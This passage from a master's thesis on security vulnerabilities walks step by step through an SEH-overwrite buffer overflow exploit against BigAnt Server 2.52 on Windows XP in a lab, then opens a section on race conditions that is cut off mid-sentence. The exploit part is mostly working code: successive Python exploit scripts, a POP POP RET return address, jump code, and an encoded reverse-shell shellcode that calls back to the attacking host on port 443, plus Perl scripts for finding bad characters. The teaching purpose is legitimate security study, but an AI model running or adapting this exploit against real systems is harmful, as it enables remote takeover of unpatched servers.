application to throw another exception (a forced exception), he should be able to get 
control by forcing the application to jump to his shellcode, instead of to the real 
exception handler function.  The series of instructions that will trigger this attack is 
POP POP RET. The OS will understand that the exception handling routine has been 
executed and will move to the next SEH or to the end of the SEH chain. The pointer 
to this instruction should be searched for in the loaded .dll or .exe files, but not in the 
stack. Normally, the pointer to the next SEH record contains an address. But in order 
to build an exploit, the attacker needs to overwrite it with small jumpcode to the 
shellcode which should be located in the buffer right after overwriting the SEH).  The 
pop pop ret sequence will make sure this code gets executed. 

In other words, the payload must do the following things: 

Exploiting the SEH mechanism 

• Cause an exception. Without an exception, the SEH handler will not intervene. 
• Overwrite the pointer to the next SEH record with some jumpcode, so it can 

jump to the shellcode. 
• Overwrite the SEH with a pointer to an instruction that will return it back to 

next SEH and execute the jumpcode. 
• The shellcode should be directly after the overwritten SEH. Some small 

jumpcode contained in the overwritten “pointer to next SEH record” will jump 
to it. [7] 

The above steps are illustrated in the following picture. 



ΠΑ
ΝΕ
ΠΙ
ΣΤ
ΗΜ

ΙΟ
 Π
ΕΙ
ΡΑ
ΙΩ
Σ

 University of Piraeus 
 Department of Digital Systems 
 M.Sc. Security in Digital Systems 

Master Thesis: Advanced Persistent 
Threats (Format String, Structured Exception 
Handler & Race Condition vulnerabilities) 

 

 Page 36 
 

 

 

Picture 34: Exploiting the SEH mechanism 

 
5.3 SEH based exploitation of BigAnt Server application 
 

• Windows XP: 192.168.233.133 

OS Setup 
 
The victim system uses Microsoft Windows XP Professional version 2002 32-bit with 
x86 based processor, and it is running on the virtual machine VMware Workstation 
version 7.1.2. The attacking system is running Backtrack 5 KDE edition 32-bit, which 
is also running on a virtual machine. 
 
The IP addresses that the two systems are using are the following. 
 

• Backtrack 5: 192.168.233.146 

 

Both systems must have the following software installed. The attacking system, 
Backtrack 5, encloses the majority of the needed software except the last two in the 

Prerequisites 
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list. These two pieces of software (gen_code.pl & mem_compar.pl) are Perl scripts 
that perform certain tasks during the execution of the exploit. 
 
Attacking System software requirements: 
 

• Netcat 

• Metasploit 3.x or newer 

• Text  Editor (KWrite) 

• Perl interpreter 

• Python interpreter 

• Wireshark 

• gen_code.pl 

• mem_compar.pl 

 
Victim System software requirements: 
 

• OllyDbg 1.10 

• BigAnt Server 2.52 SP5 

 

5.3.1 Attaching BigAnt Server to OllyDbg 

 
As a first step in order to exploit the BigAnt Server software we must observe the 
behavior of the application when it receives an exploitable exception. In order to 
observe this vulnerability, the usage of a debugger like OllyDbg is needed. [8] 
 
In order to attach the AntServer process (antserver.exe) to OllyDbg, the following 
procedure is required. The antserver process is controlled from the BigAnt console. 
By opening the BigAnt console and selecting Server  Run Service Control menu, 
the BigAnt interface is opened. From there it is possible to restart the AntServer 
process. The interface is visible in the following picture. [9] 
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Picture 35: Interface of BigAnt Server 
 
When it is confirmed that the AntServer process is running, it is time to be attached in 
OllyDbg. In order to do that we run the OllyDbg application and we select the menu 
option File  Attach. A new window opens named “Select process to attach”, as we 
can see in the following picture, which contains a list with the running processes of 
the victim OS. We select the AntServer.exe process from the list. Then we press the 
F9 button in order to run the program. 
 

 
 

Picture 36: Select a process to attach window 
 
If it is needed to restart the process, in case of a change in the exploit code, the 
OllyDbg program must be terminated and the AntServer process from the BigAnt 
interface must be restarted. In order to do that, we use the Restart button in the BigAnt 
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console. After that step we reopen the OllyDbg and we reattach the AntServer.exe as 
we did before. This procedure must be repeated whenever we want to resend the 
exploit. 
 

5.3.2 Launching the attack 

 
In order to examine how the exploitable vulnerability of the BigAnt Server is 
triggered, we can send an excessively long USV request to the process antserver.exe 
which listens to port 6660. The USV request is a packet that the BigAnt Server uses 
for authentication purposes during the TCP message exchange. This packet is 
demonstrated in the following picture, and the program used for monitor the TCP 
stream is Wireshark. 
 

 
 

Picture 37: USV packet request viewed with Wireshark 
 
In order to exploit this vulnerability a Python script can be created that sends the 
following data to the BigAnt Server. The data stream is “USV ” + “A”*2500 + 
“\r\n\r\n”. This means that the USV packet is followed by 2500 A characters plus two 
new line characters. This Python script will be the basis for the final exploit. Its 
original form is demonstrated below. [10] 
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#!/usr/bin/python 
 
import socket 
target_address = "192.168.233.133" 
target_port = 6660 
buffer = "USV " + "\x41" * 2500 + "\r\n\r\n" 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
connect=sock.connect((target_address,target_port)) 
sock.send(buffer) 
sock.close() 

 
First of all, must be established a connection between the attacking system and the 
vulnerable system with the use of Netcat program in the connector mode, targeting the 
IP address and the port 6660 of the vulnerable application as we can see below. 
 

 
 

Picture 38: Using Netcat to listen remote port 6660 

As a second step the Python script, named USV.py must be executed, in order to send 
the arbitrary data to the vulnerable application, as it is visible below. 
 

 
 

Picture39: Execution of USV.py 

It is possible to observe the data stream that is sent by monitoring the TCP package 
that the attacking system sends with the help of the Wireshark program, as we can see 
in the following picture. 
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Picture 40: Viewing USV’s data stream through Wireshark 
 
When these data are sent to the application, the OllyDbg debugger stops with an 
access violation writing to EDI 0x01400000, and at the time of the program crash the 
EIP is pointing to 0x004764BF as we can see below. 
 

 
 

Picture 41: Viewing EIP’s memory address with OllyDbg 
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But this does not seem to be an EIP overwrite. The EIP has not been overwritten with 
the “A” characters taken from the buffer. When the SEH chain of the application is 
checked, using the menu View  SEH Chain in OllyDbg, it is obvious that the SEH 
handler has been overwritten with 41414141, which are the “A” characters, in 
hexadecimal form, sent in the buffer as it is shown below. 
 

 
 

Picture 42: Viewing SEH chain with OllyDbg 

Continuing, if the Shift and F9 keys are used, in order to pass an exception to 
antserver.exe, as we can see below in the following picture, these results will be 
visible in an access violation when executing 41414141, and the EIP will now point to 
41414141. 
 

 
 

Picture 43: EIP pointing to arbitrary data 
The result of the previous action was that when the first exception was passed to the 
program to handle, in the moment the EIP was pointing to 0x004764BF, an access 
violation was occurred forcing now the EIP to point to 41414141, that is the value 
from the buffer we introduced. It seems that the program tried to manage the 
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exception by running the instructions located at the overwritten SEH address. By 
using this overwritten SEH address it is possible to gain control of the code execution. 
[10] 
 

5.3.3 Suitable SEH Overwrite Address 

 
If the vulnerable Operating System is Windows XP SP2, or above, there are extra 
protection mechanisms that prevent SEH exploitation. The first is called SafeSEH and 
it is a linker option used during the compilation of an executable module. If this 
protection mechanism is enabled, only the listed addresses, that are on a registered 
SEH handler list, can used as SEH handlers. In that case, if the most common SEH 
exploit is used, which is the POP, POP, RETURN method, does not exist on the 
registered handlers list, the SEH address overwrite will be not executed and the attack 
will fail. Furthermore, another protection mechanism exists in order to avoid SEH 
exploitation named IMAGE_DLLCHARACTERISTICS_NO_SEH flag. This flag is 
attached on a DLL file preventing addresses of that DLL to be used as SEH handlers. 
[11], [12] 
 
In our case the OS has not being upgraded with the appropriate Service Pack and the 
above restrictions are not applicable. But before continuing to the creation of the 
exploit, t is necessary to explain the POP, POP, RETURN method. The memory stack 
consists of a virtual pile of values of four bytes (32 bits). The POP instruction moves 
the top value of the stack and puts it, for instance, as into one of the 32 bit CPU 
registers. With the implementation of two POP instructions, there are removed two 
values from the top of the stack, leaving the third value on the top of the stack. Using, 
now, the RETURN instruction the third's value memory address, which now is on the 
top of the stack, is taken telling to the CPU to execute from that point. If the SEH 
address is overwritten with another address that points to the POP, POP, RETURN 
sequence of instructions, which is used by the program in order to manage the 
exception, it is possible to obtain control of the CPUs execution. Having exploited 
that vulnerability we now can execute our piece of code within the buffer. 
 
By using the View  Executable Modules menu of OllyDbg we can see the list of 
modules loaded with the application of BigAnt, as it is shown below. With the 
msfpescan tool of Metasploit, which can be used to analyze and disassemble 
executables and DLLs, we can determine if it is possible to have a usable SEH 
overwrite address. 
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Picture 44: Viewing Executable modules window of OllyDbg 

At the beginning, if the described protection mechanisms are present, a third party 
DLL must be found in the list of executable modules, free of these mechanisms. This 
DLL is usually loaded from the same directory as the main executable. Such a DLL is 
the vbajet32.dll module. Next, the DLL is copied to the attacking system in order to 
be analyzed with the help of the following commands. The following command, as it 
is shown below, uses the msfpescan program and checks for registered SEH handlers 
within the DLL. The msfpescan is a simple Metasploit tool that can go through a PE 
or an ELF binary and find a suitable return address. If there are no results it means 
that the vbajet32.dll module was not compiled with the protection mechanisms. 
 

 
 

Picture 45: Using msfpescan to check if SEH exist on vbajet32.dll 
With the next command, see below, we can see the value in the DllCharacteristics 
field of the DLL file. If the value is not 0x0400 as a result, we will know that the DLL 
has no DllCharacteristics flag. Other set of values that are not acceptable are the 
following: 0x0500, 0x0600, 0x0700, 0x0C00, 0x0E00 and 0x0F00. 
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Picture 46: Using to check if DllCharacteristics flag exists 
As we can see the result is 0x00000000. This means that it is possible to use the 
vbajet32.dll in order to find the SEH overwrite address. As a next action, a POP, POP, 
RETURN address must be found in the vbajet32.dll. Returning to the Executable 
Modules List in OllyDbg, we double click on the vbajet32.dll in order to open the 
main OllyDbg window. Continuing, pressing the right click in the CPU pane we 
select Search for  Sequence of Commands, as we can see below. 
 

 
 

Picture 47: Viewing Sequence of Commands option in OllyDbg 
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Next, the Find Sequence of Commands window opens; we enter the following text 
and click Find: 
 
POP r32 
POP r32 
RETN 

 

 
 

Picture 48: Sequence of commands window in OllyDbg 

 
The POP, POP, RETURN instruction of the vbajet32.dll module is found in the 
address 0x0F9A196A. 
 

 
 

Picture 49: Viewing the address of POP, POP, RETURN instruction 

 
If we observe this address, we will see that is has not any of the bad characters 0x00 
(null byte or nul), 0x0a (new line or nl) and 0x0d (carriage return or cr), so it is a 
candidate for using it in order to overwrite the SEH address. [10] 
 

5.3.4 SEH overwrite Offset 

 
Now, as a next step, it must be determined where in the buffer the SEH overwrite 
occurs. So an appropriate character must be found using the Metasploit's tool 
pattern_create.rb that generates a unique string. The generated pattern must be 2500 
bytes in length, as we can see below. 
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Picture 50: Using pattern_create.rb 

Continuing, it is time to put the newly created string to the exploit, named USV_1, as 
it is shown in the following code. 
 
#!/usr/bin/python 
import socket 
target_address = "192.168.233.133" 
target_port = 6660 
buffer = "USV " + "Aa0Aa1Aa2Aa3Aa4Aa.....e8De9Df0Df1Df2D" + 
"\r\n\r\n" 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
connect=sock.connect((target_address,target_port)) 
sock.send(buffer) 
sock.close() 
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Now, in the vulnerable system, the antserver.exe process must be restarted and the 
OllyDbg must be closed and reopened. The antserver.exe must be reattached and 
executed using the F9 button. As a next step the new exploit is executed. Using the 
View  SEH Chain option of OllyDbg we can see the SEH handler value. The value 
that has overwritten the SEH value is 42326742 as we can see below. 
 

 
 

Picture 51: Overwriting the SEH value 

 
Furthermore, we can also see in the following picture, on the Registers pane the 
pattern that the exploit administered to the application. 
 

 
 

Picture 52: Viewing the pattern placed in registers 

By using the pattern again the pattern_offset.rb tool, it is possible to determine where 
in the buffer this string exists. As we can see below the overwrite happens at byte 966. 
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Picture 53: Using the pattern_offset.rb to see where the overwrite happens 
 
It is now time to reconstruct the exploitable code. 
 
#!/usr/bin/python 
import socket 
target_address = "192.168.233.133" 
target_port = 6660 
buffer = "USV " 
buffer += "\x90" * 962 
buffer += "\xcc\xcc\xcc\xcc" 
buffer += "\x41\x41\x41\x41" 
buffer += "\x90" * (2504 - (buffer)) 
buffer += "\r\n\r\n" 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
connect=sock.connect((target_address,target_port)) 
sock.send(buffer) 
sock.close() 
 
We restart the antserver.exe process and OllyDbg once again and execute the 
modified exploit named USV_2.py. It is obvious that an access violation has occurred 
and as it is shown in the next picture, the SEH Chain points to 41414141 indicating 
that the offset in the buffer is accurate. [10] 
 

 
 

Picture 54: SEH chain pointing in arbitrary data 
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5.3.5 Acquiring CPU control 

 
In this step the exploit is modified again in order to place the SEH overwrite POP, 
POP, RETURN address in the right place. It is important to bear in mind the little 
endian where the last byte is most significant on X86 processors. The exploit is 
named as USV_3.py and is modified as follows. 
 
#!/usr/bin/python 
import socket 
target_address = "192.168.233.133" 
target_port = 6660 
buffer = "USV " 
buffer += "\x90" * 962 
buffer += "\xcc\xcc\xcc\xcc" 
buffer += "\x6A\x19\x9A\x0F" # SEH Overwrite 0F9A196A POP EBP, POP 
EBX, RETN, vbajet32.dll 
buffer += "\x90" *(2504 – (buffer)) 
buffer += "\r\n\r\n" 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
connect=sock.connect((target_address,target_port)) 
sock.send(buffer) 
sock.close() 
 

 
 

Prior to the execution of the above exploit it must be set a breakpoint on the SEH 
overwrite address in order to verify that it is found. On OllyDbg we press right click 
in the CPU pane, selecting Go to  Expression. Continuing, we enter the POP, POP 
RETURN instructions of the SEH overwrite address and click OK. When the address 
is visible in the CPU pane, pressing the F2 key we set a breakpoint on the address, 
marked in red as we can see below. 
 

Picture 55: Placing a breakpoint on SEH overwrite address 
 
Next the exploit USV_3.py is executed. The result is an Access Violation error. We 
confirm that the SEH Chain used the right address in the overwrite process and the 
breakpoint is set on the address, marked in red as the following picture illustrates. 
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Picture 56: Access violation error on SEH chain 

 
 

The next action is to press the Shift + F9 in order to avoid the exception to the 
application. Then the exception handler will be activated and the execution of the 
CPU will move to the specified SEH address where the breakpoint will pause the 
processes inside the OllyDbg, as we can see below. 
 

Picture 57: Activation of SEH 

In order to execute the buffer we use the F7 key three times to step through the POP, 
POP RETURN instructions. When the buffer is reached it seems that we have jumped 
to the position of the buffer four bytes before the overwrite address, as it is shown 
below underlined in red. [10] 
 

 
 

Picture 58: Reaching the position of the buffer 

5.3.6 Exceeding the Four Byte drawback 
 

Nevertheless, the four bytes are not an adequate space to run a shell code. So it is 
imperative to move to another location in the buffer that provides more space. In the 
CPU pane of OllyDbg we right click on the first \xcc instruction and select the option 
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Follow in Dump  Selection in order to see the structure of the buffer and its current 
location in the memory dump, as it is demonstrated below. 
 

Picture 59: Seeing the structure of the buffer 
 

 
 

There are visible a number of \x90 characters after the current position of the buffer. 
Then by taking the starting address of those characters, which is 0x012FFD84 and 
subtract it from the end address which is 0x012FFFFF we have the result 0x27B or the 
number 635 in decimal. This is the number of characters used after the overwrite 
address. Furthermore, if we check before the /xcc characters there is a range of \x90 
characters from 0x012FFD7B to 0x012FF9BA. Subtracting these two we get a number 
of 0x3C1 or 961 \x90 characters. Each space is adequate to use a shellcode. So, in 
order to move away from the four byte space to the space that follows the SEH 
overwrite section, the JMP SHORT instruction is utilized. This instruction, instructs 
the CPU to make a “jump” forward in memory for a specific number of bytes, 
continuing the execution to the point that the “jump” is finished. The general 
operational code for this instruction is \xeb\xXX. The XX symbolizes the number of 
bytes that jump forward. The beginning of the jump is measured from the next 
instruction after the JUMP SHORT command. Therefore, if we want to overtake the 
SEH overwrite address beyond the buffer space we need to jump forward six bytes or 
\xeb\x06. This also includes the four bytes needed for the SEH overwrite. In order to 
fill in the remaining two instructions in the four byte area we use NOP instructions. 
So, before the SEH overwrite the \xeb\x06\x90\x90 characters are added in the 
exploit code. But before testing the exploit, we must generate a shellcode. [10] 
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5.3.7 Adding the shellcode 

 
At this stage a reverse shell will be generated using msfpayload tool of Metasploit, in 
order to be incorporated to the exploit. The idea is to create a shell code that is free of 
bad characters, such as 0x00, 0x0a, 0x0d. Bad characters have a negative effect 
during the execution of the exploit. They can be translated to other characters or to be 
entirely extracted from the string. This causes the shellcode to be nonfunctional or 
incomplete. To overcome this problem we can use an encoder. Metasploit has a 
number of encoders that allow the management of these problems. Their function is to 
“encode” the bad characters into a different format. Encoders can be accessed via the 
msfencode command.  
 
Now it is time to write the msfpayload command in order to construct the shellcode. 
In the beginning, it is specified the maximum shellcode size with the usage of 
msfencode -s, in order to make sure that it is among the appropriate buffer boundaries, 
in our case 635 - 16 bytes that are for NOP instructions, leaving a generous 619 byte 
space for the shellcode. As a second step, it is specified the encoding architecture for 
x86 computer microprocessor series. Next, the C language output format is chosen 
followed by the bad characters sequence we want to avoid. Finally, there are specified 
the local attacking systems address and port for reverse shellcode, in our example the 
192.168.233.146 IP and the 443 port, as we can see below. 
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Picture 60: Constructing the shellcode 
 

 
 

Now, it is time to incorporate the newly created shellcode, as also the JUMP 
instruction, into the exploit, naming it as USV_4.py. [10] 
 
#!/usr/bin/python 
import socket 
target_address = "192.168.233.133" 
target_port = 6660 
buffer = "USV " 
buffer += "\x90" * 962 
buffer += "\xeb\x06\x90\x90" 
buffer += "\x6A\x19\x9A\x0F" 
buffer += "\x90" * 16 
buffer += 
("\xbd\xb8\x8a\xfb\x38\xda\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb1" 
"\x4f\x31\x6e\x14\x83\xc6\x04\x03\x6e\x10\x5a\x7f\x07\xd0\x13" 
"\x80\xf8\x21\x43\x08\x1d\x10\x51\x6e\x55\x01\x65\xe4\x3b\xaa" 
"\x0e\xa8\xaf\x39\x62\x65\xdf\x8a\xc8\x53\xee\x0b\xfd\x5b\xbc" 
"\xc8\x9c\x27\xbf\x1c\x7e\x19\x70\x51\x7f\x5e\x6d\x9a\x2d\x37" 
"\xf9\x09\xc1\x3c\xbf\x91\xe0\x92\xcb\xaa\x9a\x97\x0c\x5e\x10" 
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"\x99\x5c\xcf\x2f\xd1\x44\x7b\x77\xc2\x75\xa8\x64\x3e\x3f\xc5" 
"\x5e\xb4\xbe\x0f\xaf\x35\xf1\x6f\x63\x08\x3d\x62\x7a\x4c\xfa" 
"\x9d\x09\xa6\xf8\x20\x09\x7d\x82\xfe\x9c\x60\x24\x74\x06\x41" 
"\xd4\x59\xd0\x02\xda\x16\x97\x4d\xff\xa9\x74\xe6\xfb\x22\x7b" 
"\x29\x8a\x71\x5f\xed\xd6\x22\xfe\xb4\xb2\x85\xff\xa7\x1b\x79" 
"\xa5\xac\x8e\x6e\xdf\xee\xc6\x43\xed\x10\x17\xcc\x66\x62\x25" 
"\x53\xdc\xec\x05\x1c\xfa\xeb\x6a\x37\xba\x64\x95\xb8\xba\xad" 
"\x52\xec\xea\xc5\x73\x8d\x61\x16\x7b\x58\x25\x46\xd3\x33\x85" 
"\x36\x93\xe3\x6d\x5d\x1c\xdb\x8d\x5e\xf6\x6a\x8a\xc9\x39\xc4" 
"\xfd\x98\xd2\x17\xfd\x9d\x99\x91\x1b\xf7\xcd\xf7\xb4\x60\x77" 
"\x52\x4e\x10\x78\x48\xc6\xb1\xeb\x17\x16\xbf\x17\x80\x41\xe8" 
"\xe6\xd9\x07\x04\x50\x70\x35\xd5\x04\xbb\xfd\x02\xf5\x42\xfc" 
"\xc7\x41\x61\xee\x11\x49\x2d\x5a\xce\x1c\xfb\x34\xa8\xf6\x4d" 
"\xee\x62\xa4\x07\x66\xf2\x86\x97\xf0\xfb\xc2\x61\x1c\x4d\xbb" 
"\x37\x23\x62\x2b\xb0\x5c\x9e\xcb\x3f\xb7\x1a\xfb\x75\x95\x0b" 
"\x94\xd3\x4c\x0e\xf9\xe3\xbb\x4d\x04\x60\x49\x2e\xf3\x78\x38" 

"\x2b\xbf\x3e\xd1\x41\xd0\xaa\xd5\xf6\xd1\xfe") 
buffer += "\x90" *(2504 – (buffer)) 
buffer += "\r\n\r\n" 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
connect=sock.connect((target_address,target_port)) 
sock.send(buffer) 

 
 

sock.close() 
 
Now, in the vulnerable system, the OllyDbg and the antserver.exe process are 
restarted. Once again a breakpoint must be set on our SEH overwrite address in order 
to check that the shellcode is undisturbed. If the new exploit is executed, a crash 
happens, but if we look at the SEH chain window below the SEH handler points at 
0x90909090. It must be mentioned that in order to make the SEH handler to point at 
0x90909090 it may require making a number of attempts in creating the right encoded 
shellcode. 
 
 

Picture 61: SEH pointing to NOPs 

This is not the result we expect. We can try to re-execute the exploit without the 
shellcode in order to examine the problem. After running it and examining the SEH 
chain we can observe that it is back to the previous value. This is an indication that 
another bad character exists in the shellcode that needs to be encoded as well. [10] 
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5.3.8 Screening off the extra bad characters 

 
In order to find the extra bad characters that were not included in the original 
encoding, a Perl script named gen_code.pl can be used. Its function is to provide a list 
of all possible characters, except those we specify. Below follows code of the script. 
 
#!/usr/bin/perl 
# gen_code.pl 
# Version 0.1 
 
use Getopt::Long; 
GetOptions('help|?|' => \$help); 
if ($help) {&help; } 
if ($ARGV[0]) { 
 @knownbad = split ',', $ARGV[0]; 
 foreach $bad (@knownbad) { 
  $bad = hex($bad); 
 } 
} 
if (! $ARGV[1]) { 
 $split = 15; # split at 15 characters if not told otherwise 
} else { 
 $split = $ARGV[1]; 
} 
$count=0; 
for ($a = 0; $a <= 255; $a++) { 
 $match = 0; 
 foreach $knownbad (@knownbad) { 
  if ($knownbad eq $a) {$match = 1}  
 } 
 if (! $match) {  
  if (! $count) {print chr(34); } 
  print '\x' . sprintf("%02x", $a);  
  $count++; 
 } 
 if ((int($count/$split)eq$count/$split)&&($count)){print 

chr(34)."\n"; $count = 0; } 
} 
 
if ((int($count/$split)ne$count/$split)&&($count)) {print chr(34) . 
"\n";} 
sub help{ 
 print "This script generates a c style buffer of all characters 

from 0 to 255, except those specified in a comma seperated list 
provided as parameter one.  Used to generate a list of 
characters to enter into a exploit to test for bad characters. 
\n\n" . 

 "Parameter one is optional and should contain comma separated 
hexadecimal bytes in the format 00,0a,0d and any characters 
provided will not be listed in the output.\n\n" . 

 "Parameter two is also optional and specifies the interval at 
which new lines are interspersed in the output.  If not 
specified the default is a new line every 15 characters.\n\n"; 

 exit; 
} 
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So the gen_code.pl is executed in a way that it will not give the 0x00, 0x0a, 0x0d 
characters as an output as we can see below. Prior to the execution of the script we 
must turn it to an executable with the command chmod +x. 
 

 
 

Picture 62: Execution of gen_code.pl to avoid bad characters 

Now we select these lines, separately each time, and place them in the exploit, where 
the shellcode was initially placed, in order to determine the problem with the 
overwritten SEH address. It is understood that the OllyDbg and antserver.exe will be 
rerun after the placement of a new line. In the first run the exploit causes a crush and 
the SEH Chain is overwritten with the expected address as is shown below. This 
means that none of these characters are bad. 
 

 
 

Picture 63: Overwritten SEH chain with the expected address 
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Continuing, the second row is added. After the execution of the exploit we observe 
that we get a crash with the SEH Chain pointing at 90909090, as we see below. 
 

 
 

Picture 64: SEH pointing to NOPs 
This indicates that somewhere in the second row a bad character exists. In order to 
find it the line must be approximately splitted in half in the following 
form: \x12\x13\x14\x15\x16\x17\x18\x19. So the buffer takes the following form: 
 
buffer += 
("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13" 
"\x12\x13\x14\x15\x16\x17\x18\x19") 

 
We execute again the exploit and observing that we get a crash at the SEH Chain with 
the expected value. This means that the bad character is in the second half of the row. 
In order to discover it we split again in half the second part of the original row and the 
buffer takes the following form: 
 
buffer += 
("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13" 
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d") 

 
Running again the exploit we see that as before the SEH Chain is overwritten with the 
expected value. As a result the bad characters are narrowed to these 
three, \x1e\x1f\x20. By following the same method we conclude that the bad 
character is \x20. It is worth to mention that this character in ASCII is represented by 
a space and it is considered a “whitespace” character. Furthermore, the same method 
is followed for the remaining rows but it is confirmed that there are no more bad 
characters. So the gen_code.pl is executed again with the addition of the \x20, as it is 
shown below. 
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Picture 65: Re-executing gen_code.pl discarding \x20 bad characters 
 
Now we can insert the above rows in a buffer in the exploit. When it is executed we 
will see that the SEH Chain is overwritten with the expected value. [10] 
 

5.3.9 Additional bad characters 

 
In order to locate more bad characters in the buffer, the contents of the memory dump 
must be examined. Firstly, a breakpoint must be placed on the SEH overwrite address 
0x0F9A196A. Next, the exception is passed to the program with the use of Shift+F9 
and with the F7 key in order to step through the POP POP RETURN and JMP 
instructions. We reach the point where the 16 NOPs are beginning and the characters 
that the exploit send are visible starting with x01 x02. By selecting the address that 
corresponds to these characters and right clicking it, we select Follow in Dump  
Selection, as we can see below, to make it appear in the memory dump window. 
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Picture 66: Following address’s memory dump 

So, now the characters are visible and they have a range between x01 to xFF in the 
memory dump. As a next step, they are selected and right clicked choosing the Binary 
 Binary Copy menu option. 
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Picture 67: Copying characters 
 
The copy is pasted in a file named binary_copy.txt. If we want to see the contents of 
this file we give the following command in a terminal, cat binary_copy.txt, as we can 
see below. 
 

 
 

Picture 68: Contents of binary_copy.txt 
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The next move is to take the output from the gen_code.pl and place it in a text file 
named shell.txt. It is now time to use the mem_compar.pl script. Its usage is to 
compare the two files we created for bad characters. Before executing the script we 
must make it executable using the chmod +x command. The source code of 
mem_compar.pl is as follows. 
 
#!/usr/bin/perl 
# mem_compar.pl 
# Version 0.1 
 
use Getopt::Long; 
GetOptions('help|?|' => \$help); 
if ( ($help) || (! $ARGV[1]) ) {&help; } 
open(INPUT, "<$ARGV[0]") || die("Could not open file $ARGV[0].\n\n"); 
@array = <INPUT>; 
foreach $line (@array) { 
 $line =~ tr/A-F/a-f/; 
 chomp($line); 
 @temp = split ' ', $line; 
 push(@memorybytes, @temp) 
} 
close(INPUT); 
open(INPUT, "<$ARGV[1]") || die("Could not open file $ARGV[1].\n\n"); 
@array = <INPUT>; 
foreach $line (@array) {  
 $line =~ tr/\"\\.\; //d; 
 $line =~ s/^x//; 
 $line =~ tr/A-F/a-f/; 
 chomp($line);  
 @temp = split 'x', $line; 
 push(@shellcodebytes, @temp) 
} 
close(INPUT); 
$counter = 0; 
foreach $memorybyte (@memorybytes) { 
 if ($memorybyte ne $shellcodebytes[$counter]) { 
  print "Memory: $memorybyte Shellcode: 
$shellcodebytes[$counter] at position $counter\n"; 
 } 
 $counter++; 
} 
sub help{ 
 print "This script compares a file containing a ASCII Text 

binary copy of a memory dump from OllyDbg as parameter one and 
compares it to a file containing shellcode in c style format as 
parameter two.\n\n" . 

 "All diferences between the two files will be printed to the 
console.  No output means no differences.  Used to find bad 
characters when writing exploits.\n\n" . 

 "Generate the ASCII Text binary output from OllyDbg by right 
clicking in the memory dump pane of the CPU Window, select 
Binary->Binary Copy, and paste the contents into a file.  The 
file should contain a sequence of hex characters separated by 
spaces.\n\n" .  
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 "The Shellcode can be entered in c style format, with 
characters represented like so \\x55.\n\n"; 

 exit; 

 
 

} 
 
After the execution of the mem_compar.pl script we get the following result. 
 

Picture 69: Execution of mem_compar.pl 

 
This gives an extensive list of differences between the values of the two files that 
compares. It seems that the first difference takes place with the character x25 from the 
shell.txt file. Moreover if look at the memory dump the characters x25, x26 and x27 
are missing and replaced by an x57 character. This is an indication that one or all of 
those characters are bad characters. The next step is to test if the x25 character is bad 
by generating a new buffer for the exploit. Using the gen_code.pl script we add to the 
original bad characters the hypothetical one and generate a new set of rows. This time 
the x25

 
 

 character is discarded. The result is added into the exploit and when executed 
it is sent to the vulnerable application. Following the previous steps in OllyDbg we 
create a new file with the memory dump. Then the result of the gen_code.pl is copied 
in the shell.txt replacing the previous data. Also, the new memory dump we get from 
the vulnerable application is copied in the binary_copy.txt replacing the older data. 
Then the mem_compar.pl script is executed in order to compare the shell.txt and 
binary_copy.txt once more, as it is shown below. 
 

Picture 70: Execution of mem_compar.pl comparing shell & binary_copy files 
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As a result we get no output. This tells us that all the characters the exploit sends to 
the vulnerable application are present in the memory in the original order that they are 
sent. At this stage we have all the bad characters and we are ready to remake a 
shellcode without them. [10] 
 

5.3.10 Adding the new shellcode 

 
We use again the Metasploit in order to create a new shellcode, encoding now all the 
bad characters as we can see below, in the following picture. 
 

 
 

Picture 71: New shellcode with encoded all the bad characters 

As a next step we paste it in our new exploit, named USV_5.py. Then we open a 
listener with the Netcat program on port 443 as it was defined during the creation to 
the reverse shellcode, as we can see below. 
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Picture 72: Listening on port 443 

Back to the victim OS, we restart the vulnerable application and we execute the 
exploit. Looking to the listener we have the following result, as it illustrated below. 
 

 
 

Picture 73: Obtaining root shell on vulnerable OS 

The attack is successful, resulting in a root shell from the vulnerable OS. [10] 
 

6 Race Condition Vulnerability 
Generally, a Race Condition is a defect that appears in electronic systems affecting 
logic circuits or in software systems affecting multi-thread processes. Its appearance 
is depended on how the output of those systems is affected by the rate and timing of 
occurrence of uncontrollable events. The definition of the term “Race Condition” 
derives from the conception that two different signals are racing each other in order to 
affect some output. 
 
In computer security exists a specific kind of Race Condition called time-of-check-to-
time-of-use or TOCTTOU bug. This software bug is caused in a software system 
among the check of a predicate, like authentication credentials, and the usage of the 
checked results. 
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In order to understand this type of Race Condition, an example is presented. Let’s 
consider a software application that gives to simple user permissions in editing a 
specific type of text files. It also permits the users with administrative permissions to 
lock these files, preventing further editing. The simple user makes a request in order 
to edit a text file, and the file is opened for processing. Before he saves his changes to 
the file, the administrator locks this file, which normally would prevent editing. 
Nevertheless, since the simple user has already begun the editing procedure when he 
saves his changes to the file the edit is successful. By the time the simple user starts 
editing the text file his authorization was checked and he was granted to make 
changes, but this authorization was used in a later stage, and should not have the 
given him permissions to make any changes. [13] 
 

7 Race Condition in UNIX-based systems 
This type of vulnerability is very common in Unix-based operation systems, 
exploiting especially the /tmp and /var/tmp shared directories opening up Race 
Conditions. All these Unix-based systems support user processes. Each of these 
processes occupies its own separate memory area which in normal circumstances it is 
unreachable by other processes. The Kernel4

                                                           
4 In computing, the Kernel is the main component of most computer operating systems; it is a bridge 
between applications and the actual data processing done at the hardware level. The kernel's 
responsibilities include managing the system's resources (the communication between hardware and 
software components). 

 component attempts to make it appear as 
if the processes are executed simultaneously. If the system supports multiprocessing, 
the processes are actually run at the same time. A process has in theory one or more 
threads, sharing memory among each other and they can also run simultaneously. 
Because threads have the capability to share memory, the possibility to have Race 
Conditions is between them is heighten in comparison with the processes. In addition 
the Linux Kernel supports only threading, running threads that share memory with 
other threads or running threads that do not share memory with other threads, thus 
implementing distinctive processes. 
 
In order to comprehend how Race Conditions work, a common statement in 
programming language C is analyzed. This statement is the following: a = a +1; 
Now, we have the hypothesis that two different threads are executing the above 
statement, sharing between them the 'a' variable and 'a' has as an initial value the 
